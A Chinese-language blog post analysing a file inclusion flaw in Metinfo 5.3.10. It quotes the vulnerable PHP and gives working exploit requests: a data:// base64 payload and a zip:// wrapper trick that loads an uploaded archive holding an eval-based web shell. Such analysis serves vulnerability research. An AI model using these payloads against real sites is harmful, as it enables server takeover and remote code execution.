Metinfo5.3.10文件包含分析

Metinfo5.3.10文件包含

漏洞成因

/admin/login/login_check.php

<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
if ($depth != '' && $depth != '../' && $depth != '../../') {die();}
if (!isset($depth)) {
	$depth = '';
}

$commonpath = $depth . 'include/common.inc.php';
$commonpath = $admin_index ? $commonpath : '../' . $commonpath;
define('SQL_DETECT', 1);
require_once $commonpath;
$turefile = $url_array[count($url_array) - 2];
if ($met_adminfile != $turefile && $adminmodify != 1) {
	$met_adminfile = $turefile;
	$turefile = authcode($turefile, 'ENCODE', $met_webkeys);
	$query = "update $met_config set value='$turefile' where name='met_adminfile' and lang='metinfo'";
	$db->query($query);
}
$login_name = daddslashes($login_name, 0, 1);
$metinfo_admin_name = daddslashes($metinfo_admin_name, 0, 1);
if ($action == "login") {
	$metinfo_admin_name = $login_name;
	$metinfo_admin_pass = $login_pass;
	$metinfo_admin_pass = md5($metinfo_admin_pass);
	/*code*/
	if ($met_login_code == 1) {
		require_once $depth . '../include/captcha.class.php';
    }

漏洞点就是:

	if ($met_login_code == 1) {
		require_once $depth . '../include/captcha.class.php';
    }

其中$depth的值是可以通过变量覆盖来给值的。

$commonpath = $depth . 'include/common.inc.php';
$commonpath = $admin_index ? $commonpath : '../' . $commonpath;
define('SQL_DETECT', 1);
require_once $commonpath;

包含的common.inc.php中有

foreach (array('_COOKIE', '_POST', '_GET') as $_request) {
	foreach ($$_request as $_key => $_value) {
		$_key{0} != '_' && $$_key = daddslashes($_value, 0, 0, 1);
		$_M['form'][$_key] = daddslashes($_value, 0, 0, 1);
	}
}

所以导致了可以包含文件

<?php
require_once $_GET[1].'../a.php';

类似如此。

攻击方式

有条件下的攻击(allow_url_include=on)

http://10.211.55.3/code-src/metinfo/web1/admin/login/login_check.php?langset=cn&depth=data://text/plain;base64,PD9waHAgcGhwaW5mbygpO2V4aXQoKTsvLw==

POST:
action=login&login_name=123&login_pass=123&code=&Submit=%E7%99%BB%E5%BD%95&met_login_code=1

其中要注意的是$met_login_code,因为默认是为0的,可以通过变量覆盖使其变为1

利用协议攻击

相比正常情况下,allow_url_include是off的,这样的情况下可以这样攻击。

zip:///tmp/1.jpg#../include/captcha.class.php

这样就能导致包含,其中1.jpg可以在member中上传。现在主要的是zip文件中的../include/captcha.class.php如何构造,主要是..的问题

创建目录结构为

aa/
	include/
			captcha.class.php

将aa的16进制改为2e,即为.
其中captcha.class.php内容:

<?php
var_dump('syc');
eval($_POST['lemon']);
exit();
?>
http://10.211.55.3/code-src/metinfo/web1/admin/login/login_check.php?langset=cn&depth=zip://C://WWW//code-src//metinfo//web1//upload//head//1.png%23

POST:
action=login&login_name=123&login_pass=123&code=&Submit=%E7%99%BB%E5%BD%95&met_login_code=1

posted @ 2016-11-05 20:55  l3m0n  阅读(1315)  评论(0编辑  收藏  举报